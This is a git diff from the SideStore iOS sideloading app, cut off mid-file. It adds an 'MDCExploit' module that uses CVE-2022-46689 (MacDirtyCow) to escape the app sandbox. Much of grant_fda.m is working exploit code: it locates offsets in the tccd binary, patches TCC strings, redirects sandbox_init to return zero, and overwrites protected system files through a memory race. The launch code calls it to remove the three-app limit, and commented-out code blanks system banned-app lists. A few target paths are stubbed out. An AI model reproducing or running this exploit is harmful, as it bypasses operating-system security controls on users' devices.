private var destinationViewController: UIViewController!
|
||||
|
||||
override var launchConditions: [RSTLaunchCondition] {
|
||||
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in
|
||||
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
|
||||
DatabaseManager.shared.start(completionHandler: completionHandler)
|
||||
}
|
||||
|
||||
@@ -39,45 +35,27 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
return self.children.first
|
||||
}
|
||||
|
||||
override func viewDidLoad()
|
||||
{
|
||||
override func viewDidLoad() {
|
||||
defer {
|
||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||
// self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
let rootView = RootView()
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
self.destinationViewController = UIHostingController(rootView: rootView)
|
||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
}
|
||||
super.viewDidLoad()
|
||||
}
|
||||
|
||||
override func viewDidAppear(_ animated: Bool) {
|
||||
super.viewDidAppear(true)
|
||||
|
||||
#if !targetEnvironment(simulator)
|
||||
if !UserDefaults.standard.onboardingComplete {
|
||||
self.showOnboarding()
|
||||
return
|
||||
}
|
||||
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
|
||||
|
||||
guard let pf = fetchPairingFile() else {
|
||||
self.showOnboarding(enabledSteps: [.pairing])
|
||||
self.displayError("Device pairing file not found.")
|
||||
return
|
||||
}
|
||||
start_minimuxer_threads(pf)
|
||||
|
||||
self.start_minimuxer_threads(pf)
|
||||
#endif
|
||||
}
|
||||
|
||||
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
|
||||
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
|
||||
navigationController.isNavigationBarHidden = true
|
||||
navigationController.isModalInPresentation = true
|
||||
self.present(navigationController, animated: true)
|
||||
}
|
||||
|
||||
func fetchPairingFile() -> String? {
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
@@ -91,10 +69,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
fm.fileExists(atPath: appResourcePath.path),
|
||||
let data = fm.contents(atPath: appResourcePath.path),
|
||||
let contents = String(data: data, encoding: .utf8),
|
||||
!contents.isEmpty {
|
||||
!contents.isEmpty
|
||||
{
|
||||
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
||||
return contents
|
||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
|
||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
|
||||
print("Loaded ALTPairingFile from Info.plist")
|
||||
return plistString
|
||||
} else {
|
||||
@@ -103,18 +82,18 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
||||
|
||||
// Create OK button with action handler
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
|
||||
// Try to load it from a file picker
|
||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
||||
types.append(.xml)
|
||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
||||
documentPickerController.shouldShowFileExtensions = true
|
||||
// documentPickerController.shouldShowFileExtensions = true
|
||||
documentPickerController.delegate = self
|
||||
self.present(documentPickerController, animated: true, completion: nil)
|
||||
})
|
||||
})
|
||||
|
||||
//Add OK button to a dialog message
|
||||
// Add OK button to a dialog message
|
||||
dialogMessage.addAction(ok)
|
||||
|
||||
// Present Alert to
|
||||
@@ -142,82 +121,83 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
let data1 = try Data(contentsOf: urls[0])
|
||||
let pairing_string = String(bytes: data1, encoding: .utf8)
|
||||
if pairing_string == nil {
|
||||
displayError("Unable to read pairing file")
|
||||
self.displayError("Unable to read pairing file")
|
||||
}
|
||||
|
||||
// Save to a file for next launch
|
||||
let pairingFile = FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")
|
||||
try pairing_string?.write(to: pairingFile, atomically: true, encoding: String.Encoding.utf8)
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
|
||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||
|
||||
// Start minimuxer now that we have a file
|
||||
start_minimuxer_threads(pairing_string!)
|
||||
self.start_minimuxer_threads(pairing_string!)
|
||||
|
||||
} catch {
|
||||
displayError("Unable to read pairing file")
|
||||
self.displayError("Unable to read pairing file")
|
||||
}
|
||||
|
||||
if (isSecuredURL) {
|
||||
if isSecuredURL {
|
||||
url.stopAccessingSecurityScopedResource()
|
||||
}
|
||||
controller.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
|
||||
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
||||
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
|
||||
self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
|
||||
}
|
||||
|
||||
func start_minimuxer_threads(_ pairing_file: String) {
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try start(pairing_file, documentsDirectory)
|
||||
} catch {
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||
set_usbmuxd_socket()
|
||||
#if false // Retries
|
||||
var res = start_minimuxer(pairing_file: pairing_file)
|
||||
var attempts = 10
|
||||
while attempts != 0, res != 0 {
|
||||
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
||||
res = start_minimuxer(pairing_file: pairing_file)
|
||||
attempts -= 1
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
#else
|
||||
let res = start_minimuxer(pairing_file: pairing_file)
|
||||
#endif
|
||||
if res != 0 {
|
||||
self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
||||
}
|
||||
auto_mount_dev_image()
|
||||
}
|
||||
}
|
||||
|
||||
extension LaunchViewController
|
||||
{
|
||||
override func handleLaunchError(_ error: Error)
|
||||
{
|
||||
do
|
||||
{
|
||||
extension LaunchViewController {
|
||||
override func handleLaunchError(_ error: Error) {
|
||||
do {
|
||||
throw error
|
||||
}
|
||||
catch let error as NSError
|
||||
{
|
||||
} catch let error as NSError {
|
||||
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
|
||||
|
||||
let errorDescription: String
|
||||
|
||||
if #available(iOS 14.5, *)
|
||||
{
|
||||
if #available(iOS 14.5, *) {
|
||||
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
|
||||
errorDescription = errorMessages.joined(separator: "\n\n")
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
errorDescription = error.debugDescription
|
||||
}
|
||||
|
||||
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
|
||||
self.handleLaunchConditions()
|
||||
}))
|
||||
self.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
|
||||
override func finishLaunching()
|
||||
{
|
||||
override func finishLaunching() {
|
||||
super.finishLaunching()
|
||||
|
||||
guard !self.didFinishLaunching else { return }
|
||||
|
||||
AppManager.shared.update()
|
||||
AppManager.shared.updatePatronsIfNeeded()
|
||||
AppManager.shared.updatePatronsIfNeeded()
|
||||
PatreonAPI.shared.refreshPatreonAccount()
|
||||
|
||||
// Add view controller as child (rather than presenting modally)
|
||||
@@ -232,6 +212,37 @@ extension LaunchViewController
|
||||
self.destinationViewController.view.alpha = 1.0
|
||||
}
|
||||
|
||||
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
|
||||
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
|
||||
let last_rantime = previous_exploit_time as! Date
|
||||
if last_rantime == bootTime() {
|
||||
return print("exploit has ran this boot - \(last_rantime)")
|
||||
}
|
||||
}
|
||||
self.runExploit()
|
||||
}
|
||||
|
||||
self.didFinishLaunching = true
|
||||
}
|
||||
|
||||
func runExploit() {
|
||||
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
|
||||
patch3AppLimit { result in
|
||||
switch result {
|
||||
case .success:
|
||||
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||
print("patched sucessfully")
|
||||
case .failure(let err):
|
||||
switch err {
|
||||
case .NoFDA(let msg):
|
||||
self.displayError("Failed to get full disk access: \(msg)")
|
||||
return
|
||||
case .FailedPatchd:
|
||||
self.displayError("Failed to install patchd.")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
123
AltStore/MDCExploit/CowExploits.swift
Normal file
123
AltStore/MDCExploit/CowExploits.swift
Normal file
@@ -0,0 +1,123 @@
|
||||
import Foundation
|
||||
|
||||
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
|
||||
enum PatchError: Error {
|
||||
case NoFDA(msg: String)
|
||||
case FailedPatchd
|
||||
}
|
||||
|
||||
enum PatchResult {
|
||||
case success, failure(PatchError)
|
||||
}
|
||||
|
||||
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||
grant_fda { error in
|
||||
if let error = error {
|
||||
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||
}
|
||||
// DispatchQueue.global(qos: .userInitiated).async {
|
||||
print("This is run on a background queue")
|
||||
if !installdaemon_patch() {
|
||||
completion(.failure(PatchError.FailedPatchd))
|
||||
}
|
||||
// }
|
||||
completion(.success)
|
||||
}
|
||||
}
|
||||
|
||||
func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
|
||||
enum WhitelistPatchResult {
|
||||
case success, failure
|
||||
}
|
||||
|
||||
//
|
||||
// func patchWhiteList() {
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// }
|
||||
//
|
||||
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||
// #if false
|
||||
// let documentDirectory = FileManager.default.urls(
|
||||
// for: .documentDirectory,
|
||||
// in: .userDomainMask
|
||||
// )[0].path
|
||||
//
|
||||
// let pathToRealTarget = originPath
|
||||
// let originPath = documentDirectory + originPath
|
||||
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
// #endif
|
||||
//
|
||||
// // open and map original font
|
||||
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
// if fd == -1 {
|
||||
// print("Could not open target file")
|
||||
// return false
|
||||
// }
|
||||
// defer { close(fd) }
|
||||
// // check size of font
|
||||
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
// guard originalFileSize >= replacementData.count else {
|
||||
// print("Original file: \(originalFileSize)")
|
||||
// print("Replacement file: \(replacementData.count)")
|
||||
// print("File too big!")
|
||||
// return false
|
||||
// }
|
||||
// lseek(fd, 0, SEEK_SET)
|
||||
//
|
||||
// // Map the font we want to overwrite so we can mlock it
|
||||
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
// if fileMap == MAP_FAILED {
|
||||
// print("Failed to map")
|
||||
// return false
|
||||
// }
|
||||
// // mlock so the file gets cached in memory
|
||||
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
// print("Failed to mlock")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// // for every 16k chunk, rewrite
|
||||
// print(Date())
|
||||
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
// print(String(format: "%lx", chunkOff))
|
||||
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
// var overwroteOne = false
|
||||
// for _ in 0..<2 {
|
||||
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
// unalign_csr(
|
||||
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
// )
|
||||
// }
|
||||
// if overwriteSucceeded {
|
||||
// overwroteOne = true
|
||||
// print("Successfully overwrote!")
|
||||
// break
|
||||
// }
|
||||
// print("try again?!")
|
||||
// }
|
||||
// guard overwroteOne else {
|
||||
// print("Failed to overwrite")
|
||||
// return false
|
||||
// }
|
||||
// }
|
||||
// print(Date())
|
||||
// print("Successfully overwrote!")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// func readFile(path: String) -> String? {
|
||||
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
// }
|
||||
6
AltStore/MDCExploit/grant_fda.h
Normal file
6
AltStore/MDCExploit/grant_fda.h
Normal file
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool installdaemon_patch(void);
|
||||
617
AltStore/MDCExploit/grant_fda.m
Normal file
617
AltStore/MDCExploit/grant_fda.m
Normal file
@@ -0,0 +1,617 @@
|
||||
@import Darwin;
|
||||
@import Foundation;
|
||||
@import MachO;
|
||||
|
||||
#import <mach-o/fixup-chains.h>
|
||||
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||
// WDBFontOverwrite
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_fda.h"
|
||||
#import "helping_tools.h"
|
||||
#import "vm_unalign_csr.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||
xpc_object_t _Nullable const* values, size_t count);
|
||||
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||
uint64_t flags);
|
||||
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
void xpc_connection_resume(xpc_connection_t connection);
|
||||
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||
xpc_object_t message);
|
||||
xpc_object_t xpc_bool_create(bool value);
|
||||
xpc_object_t xpc_string_create(const char* string);
|
||||
xpc_object_t xpc_null_create(void);
|
||||
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||
|
||||
int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct fda_offsets {
|
||||
uint64_t of_addr_com_apple_tcc_;
|
||||
uint64_t offset_pad_space_for_rw_string;
|
||||
uint64_t of_addr_s_kTCCSML;
|
||||
uint64_t of_auth_got_sb_init;
|
||||
uint64_t of_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool pchfind_sections(void* execmap,
|
||||
struct segment_command_64** data_seg,
|
||||
struct symtab_command** stabout,
|
||||
struct dysymtab_command** dystabout) {
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_seg = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*stabout = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dystabout = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
|
||||
void* str_offset = memmem(em, el, n, strlen(n) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - em;
|
||||
for (int i = 0; i < el; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(em + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t pchfind_return_0(void* exmp, size_t el) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - exmp;
|
||||
}
|
||||
|
||||
static uint64_t pchfind_got(void* ecm, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
const char* target_symbol_name) {
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
|
||||
struct section_64* section_array =
|
||||
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* first_section = §ion_array[0];
|
||||
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool pchfind(void* execmap, size_t executable_length,
|
||||
struct fda_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->of_addr_com_apple_tcc_ =
|
||||
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
|
||||
// printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_pad_space_for_rw_string =
|
||||
pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
|
||||
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
// printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->of_auth_got_sb_init =
|
||||
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
// printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
|
||||
0) {
|
||||
// printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
//TODO WARNING REPLACE com.apple.tccd
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
// NSLog(@"event handler (xpc): %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
// "target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
xpc_string_create("TCCAccessRequest"),
|
||||
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
};
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
// NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
//object is nil???
|
||||
// NSLog(@"wqfewfw9");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
//response:
|
||||
// NSLog(@"qwdqwd%@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
// NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
//debug description:
|
||||
// NSLog(@"wqdwqu %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
completion(extension_nsstring);
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
|
||||
struct fda_offsets offsets = {};
|
||||
if (!pchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase tRBase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.of_addr_s_kTCCSML);
|
||||
tRBase.target = offsets.offset_pad_space_for_rw_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.of_addr_s_kTCCSML) =
|
||||
tRBase;
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase tRBase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool over_write_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unalign_csr(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!success) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_fda_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
char* targetPath = "/Nope";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
targetPath = "/Nope";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
